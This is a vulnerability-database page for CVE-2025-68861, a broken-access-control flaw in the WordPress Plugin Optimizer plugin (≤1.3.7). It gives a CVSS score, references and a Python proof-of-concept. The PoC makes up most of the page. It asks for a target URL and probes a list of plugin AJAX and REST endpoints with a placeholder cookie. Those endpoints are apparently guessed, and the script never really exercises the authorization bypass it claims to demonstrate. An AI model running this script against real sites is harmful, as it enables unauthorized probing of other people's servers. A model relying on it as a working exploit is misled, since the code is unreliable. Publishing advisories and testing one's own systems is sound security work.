CVE-2025-68861

Description

Missing Authorization vulnerability in pluginoptimizer Plugin Optimizer plugin-optimizer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Plugin Optimizer: from n/a through <= 1.3.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Plugin Optimizer <= 1.3.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68861 PoC - Plugin Optimizer Broken Access Control
# This PoC demonstrates the authorization bypass in Plugin Optimizer

import requests
import sys

target_url = input("Enter target URL: ").rstrip('/')

# Headers to simulate authenticated user with low privileges
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': 'wordpress_test_cookie=WP+Cookie+check'  # Replace with actual auth cookie
}

# Common Plugin Optimizer endpoints that may be vulnerable
vulnerable_endpoints = [
    '/wp-admin/admin-ajax.php?action=plugin_optimizer_get_stats',
    '/wp-admin/admin-ajax.php?action=plugin_optimizer_optimize',
    '/wp-admin/admin-ajax.php?action=plugin_optimizer_save_settings',
    '/wp-json/plugin-optimizer/v1/settings',
    '/wp-json/plugin-optimizer/v1/stats'
]

print(f"[*] Testing CVE-2025-68861 on {target_url}")
print("[*] Target: Plugin Optimizer <= 1.3.7")

for endpoint in vulnerable_endpoints:
    url = target_url + endpoint
    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Potential vulnerability found at: {endpoint}")
            print(f"    Status: {response.status_code}")
            print(f"    Response: {response.text[:200]}...")
        elif response.status_code == 403:
            print(f"[-] Access denied at: {endpoint}")
        else:
            print(f"[*] Endpoint: {endpoint} - Status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error testing {endpoint}: {e}")

print("\n[*] PoC completed. Manual verification recommended.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68861
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68861
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68861/
[4] VulDB https://vuldb.com/cve/CVE-2025-68861
[5] https://patchstack.com/database/Wordpress/Plugin/plugin-optimizer/vulnerability/wordpress-plugin-optimizer-plugin-1-3-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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